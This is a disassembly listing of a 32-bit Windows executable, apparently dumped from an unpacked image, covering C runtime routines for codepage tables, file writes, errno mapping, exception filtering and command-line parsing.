loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C

loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------

loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh

loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4CDA64, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 261029Fh
; ---------------------------------------------------------------------------

loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 287195Bh
; ---------------------------------------------------------------------------

loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_4CDA58
		mov	dword_4CDA64, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4CEF00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		mov	dword_4CEDE4, eax
		mov	dword_4CEDFC, eax
		mov	dword_4CF004, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4CEDE4
		nop
		call	near ptr 2871205h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h

loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx

loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4CF004
		push	dword_4CEDE4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4CF004
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4CF004
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_4CEF01[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_4CEE00[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------

loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_4CEF01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------

loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_4CEE00[eax], 0

loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------

loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_4CEF01[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_4CEE00[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------

loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_4CEF01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------

loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_4CEE00[eax], 0

loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC

loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_4CF034, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_4CF034, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------

loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]

loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4CEF01[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------

loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76

loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0

loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]

loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4CEDE0
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8

loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch

loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF

loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]

loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E

loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18

loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi

loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		call	near ptr 265031Fh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------

loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		nop
		call	near ptr 265031Fh
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1

loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_4CD9B4, 1Ch
		mov	dword_4CD9B8, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh

loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4CD9B8, ecx
		mov	eax, offset dword_436100

loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_436268
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_4CD9B4, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_436104[edx*8]
		mov	dword_4CD9B4, eax
		retn
; ---------------------------------------------------------------------------

loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_4CD9B4, 8
		jbe	short locret_41EFAA

loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_4CD9B4, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------

loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_4CDA68
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4CDA68, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_4362E0
		mov	edx, dword_4362E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:436270h[esi*4]

loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022

loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_4362EC
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_4362EC, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_4362EC, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_4362EC, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_4362EC, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_4362EC, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_4362EC, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_4362EC, 8Ah

loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_4362EC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4362EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------

loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_4CDA68, eax

loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------

loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 261010Fh

loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_436268, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]

loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E

loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E

loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_4CF034, 0
		jnz	short loc_41F13D
		call	sub_41ECF1

loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_4CF02C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F

loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------

loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179

loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------

loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179

loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173

loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C

loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1

loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_4CDA00
		xor	edi, edi

loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi

loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------

loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4CD9DC, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_4CDA00
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp

loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp

loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_4CDA00
		call	sub_417C3B
		pop	ecx
		mov	dword_4CDA00, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4CF030, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1

loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4CF02C
		mov	off_4CD9EC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax

loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx

loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4CD9D4, esi
		pop	edi
		pop	esi
		mov	dword_4CD9D0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C

loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------

loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi

loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax

loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C

loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387

loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0

loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0

loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C

